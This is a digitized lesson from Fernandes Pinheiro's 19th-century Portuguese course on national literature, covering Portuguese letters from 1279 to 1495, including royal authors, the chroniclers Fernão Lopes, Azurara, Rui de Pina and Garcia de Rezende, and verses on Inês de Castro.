Cônego Fernandes Pinheiro (1825 – 1876)
CURSO DE LITERATURA NACIONAL
LIÇÃO
IV
SEGUNDA ÉPOCA — 1279—1495
Já vimos que a
fundação da universidade portuguesa per el-rei D. Diniz foi uma das causas que poderosamente
influíram para o desenvolvimento literário da nação; e poucos anos havia que
se trasladara ela para as pitorescas ribas do Mondego, fugindo ao bulício da
capital, quando sazonados frutes começaram a produzir os engenhos lusitanos.
Chamada a Lisboa por D. Afonso IV foi de novo reintegrada em Coimbra pelo mesmo
monarca em 1354 com
outras graças e concessões pontifícias que lhe fizera o Papa Clemente V. Mudou-se ainda a sede da
universidade para a corte em 1377 por haver el-rei D. Fernando mandado
vir mestres estrangeiros, que recusavam habitar uma cidade central. Volveu ela
mais tarde a Coimbra, cujo assento parece melhor do que qualquer outro
convir-lhe.
Se entramos nestas
minúcias a respeito da universidade é porque nessa época era ela o único foco
literário, o altar de Vesta, onde ardia o fogo sagrado da inteligência. Corriam
em seu auxílio os reis portugueses, que, com raras exceções, promoviam grandemente
a cultura do entendimento.
Erguido ao trono pelo
voto da nação, mostrou-se o mestre de Aviz zeloso de sua honra e glória; de
volta de Aljubarrota adicionou à universidade a faculdade teológica, tornando
oficial o idioma vulgar. "D. João I, diz Garrett, o eleito do povo, e o
mais nacional de todos os nossos reis, deu ao idioma pátrio
valente impulso,
mandando usar dele em todos os atos e instrumentos públicos que até então se
faziam em latim. Foi esta lei carta de alforria e de cidade para a língua que
até ali vivera escrava da dominação latina, a qual sobrevivera não só ao
império romano, mas a tantas conquistas e reconquistas de tão desvairados povos 1."
Consolidada a
nacionalidade portuguesa pelos heróicos esforços de Nuno Alvares e de João das
Regras, circulou-lhe a
seiva do progresso por todas as artérias; por toda a parte notava-se um movimento, uma
espontaneidade que caracterizam as épocas do despertar dos povos. Saíam da
escola naval de Sagres, a que um ilustre príncipe patrocinava, os Perestrelos,
os Bithencourts e os Câmaras, que, avassalando os mares às quilhas lusitanas,
acendiam as almenaras para os Dias, Ca brais e Gamas.
Não tencionamos falar
aqui dos missionários da navegação portuguesa, que prepararam o grande século dos mares, na poética expressão
de um amigo nosso 2; apenas queremos respigar na seara literária desse
tempo.
Já admiramos na lição
antecedente o rei trovador que trocou o cetro pelo alaúde, legando-nos em
seu Cancioneiro um
dos mais antigos monumentos literários: vejamos agora as tradições paternas
gloriosamente continuadas por seus filhos e sucessores.
Escreveu o conde de
Barcelos, D. Pedro Afonso, filho natural desse monarca, o seu Nobiliário, vasto repertório da fidalguia
portuguesa e espanhola, inestimável tesouro arqueológico; bem como grande
número de poesias, que lhe mereceram de Frei Antônio Brandão o seguinte
conceito: "Temos certeza de ser homem inclinado a estudos, segundo vemos
em seu testamento, em que deixou a el-rei de Castela o seu livro de Cantigas; e quem tinha composto
um Cancioneiro, que
podia ser apresentado a um rei, pessoa era com notícia de boas letras3."
1 Bosq. da Hist, da poes. e da ling. port. 2 o Sr. M. de Araiijo Porto Alegre. 3 Monarch, lusit., part. V liv. 1, XVII, cap. V. |
Seu irmão, D. Afonso
Sanches, também filho natural de D. Diniz, grangeou grande renome entre os
poetas e literatos dessa era. Restam dele quatorze canções, uma das quais
apenas é legível e está publicada. Figura na coleção do Vaticano e tem a epígrafe de Dom Afonso Sanches, filho d’el-rei D. Diniz de Portugal.
No Cancioneiro de Garcia de Rezende leem-se
as Poesias
Várias do
infante D. Pedro, duque de Coimbra, filho segundo d’el-rei D. João I, a quem se
atribuem umas redondilhas. em louvor da cidade de Lisboa. Este príncipe deixou também diversas
obras em prosa, fruto dos seus longos estudos e longínquas peregrinações,
merecendo especial menção um tratado de moral denominado Livro da Virtuosa Benfeitoria.
É geralmente conhecido e
estimado o Leal
Conselheiro d’el-rei
D. Duarte, a primeira obra de política que por sem dúvida se escrevera em
língua portuguesa. Injustiça grave seria procurar nele um curso de direito
público, e torná-lo responsável por algumas locuções grosseiras, diremos mesmo
bárbaras, que porventura ofendam os nossos castos ouvidos. Era porém em seu
tempo um feliz engenho e mui dado ao cultivo das letras. Existe também deste
príncipe o Livro
da ensinança de bem
cavalgar toda a sela, modernamente impresso em Paris.
Grande sabedor da língua
latina foi D. João II e dele nos resta a carta escrita neste idioma ao famoso Angelo Poliziano, persuadindo-o que
compusesse em latim, ou toscano, a história de Portugal.
Fazendo a enumeração dos
príncipes literatos que viveram no período que nos propusemos estudar foi nosso
intuito demonstrar que deles partia toda a iniciativa; e que bem podiam dizer
aos sábios do seu tempo o que a seus discípulos diza Jesus Cristo: exemplum enim do vobis. Percorramos rapidamente o
catálogo dos homens que, arrastados por tão nobre impulso, alguma nomeada
grangearam nas letras.
1 Bosq. hist. da litt. clas., parte III, pág. 157. 2 De la litt. ãu midi de VEur., tom. II. |
O maior poeta, ou antes, o maior trovador dessa época foi certamente
Vasco de Lobeira, que, segundo pensa o Sr. B:rges de Figueiredoera contemporâneo
d’el-rei D. Din’z e não de D. Fernando, como afirma Faria e Souza. Exerceu
imensa influência na literatura o seu romance cavalheiresco intitulado História de Amadis de Gaula, que, traduzido por Bernardo
Tasso, pai do ilustre cantor de Jerusalém, gozou de extraordinária aceitação
na culta Itália, como se depreende do que a tal respeito diz o erudito Sismonde
de Sismondi2.
A crônica substituía então a história; e quatro distintos
escritores pôde
ela contar nesse período: queremos falar de Fernão Lopes, Gomes Eanes de Azurara, Rui de Pina e Garcia de Rezende.
Fernão Lopes, incumbido
por D.
João I da guarda dos arquivos conhecidos por Torre cío Tombo, escreveu as crônicas dos soberanos
portugueses desde o conde D. Henrique até el-rei D. Pedro I, D. Fernando e D. João I, incompleta. Prestou o cronista-mor
relevantes serviços
à língua pátria e foi
um dos homens que, como se exprime o Sr. Ferdinand Denis, mais dignamente escreveram a
história em toda a Europa. Rende-lhe o ilustrado filólogo Francisco Dias Gomes a
seguinte homenagem: "Daí a pouco mais de meio século apareceram as
Crônicas dos reis portugueses, compostas por Fernão Lopes, o mais antigo e
venerando historiador português, escritas em língua clara e tão diversa da que se observa naqueles anteriores
escritos que se pode
reputar outro idioma3".
Gomes Eanes de Azurara, sucessor do precedente nos elevados
cargos que exercera bem como na privança d’el-rei D. Afonso V. de cujas benévolas disposições a seu respeito já
fizemos menção, não herdou em tudo o talento do seu antecessor e nota-se alguma
quebra na simplicidade do estilo e lhaneza de expressão. Além de outras, compôs a Crônica do Descobrimento e
Conquista de Guiné, impressa pela primeira vez em Paris no ano de 1841.
Apesar dos defeitos a que acima aludimos, não deixa Azurara de ser um benemérito cronista
e dele diz João de Barros que merecia o cargo que ocupava pelas suas luzes e
esmero na indagação dos fatos.
Rui de Pina gozou de grande
privança dos reis D. João II e D. Manoel; este último o nomeou cronista-mor e
guarda da Torre do Tombo. Passa por ser autor de grande número de crônicas,
algumas das quais pertencem na substância a Fernão Lopes. Este escritor é
considerado muito somenos ao primeiro cronista, posto que mais ilustrado do que
o segundo.
3 Mem. de Litter. port. tomo IV. pág. 33. |
Garcia de Rezende foi moço de escrevaninha de D. João II, cuja crônica
escreveu. Esta obra contém preciosos documentos para o estudo da época, e o
seu autor, se não atinge nela às proporções de Fernão Lopes, não deixou por isso de
ser útil às letras pátrias. Rezende compôs também uma coleção de trovas
satíricas que intitulou Miscelânea e foi mais tarde publicada com o título de Cancioneiro Geral.
Para dar uma prova do grau de
adiantamento da poesia portuguesa nessa época copiamos aqui algumas estâncias
dessas trovas, feitas à morte de D. Inês de Castro.
Eu era moça, menina
Por nome D. Inês
De
Castro; e de tal doutrina
E virtudes que era dina
De meu mal ser ao revés.
Vivia sem me lembrar
Que paixão podia dar
Nem dá-la n nguém a mim.
Foi-me o príncipe olhar
Por seu nojo e minha fim.
Começou-me a desejar, Trabalhou
por me servir; Fortuna foi ordenar Dois corações conformar A uma vontade vir.
Conheceu-me! conheci-o! Quis-me bem! e eu a ele! Perdeu-me! também perdi-o!
Nunca té morte foi frio O bem, que triste, pus nele!
Dei-lhe minha liberdade; Não
senti perda de fama; Pus nele minha verdade; Quis fazer sua vontade; Sendo mui
formosa dama. Por me estas obras pagar Nunca jamais quis casar Pelo qual
aconselhado Foi el-rei que era forçado Pelo seu de me matar.
Fonte: editora Cátedra – MEC – 1978
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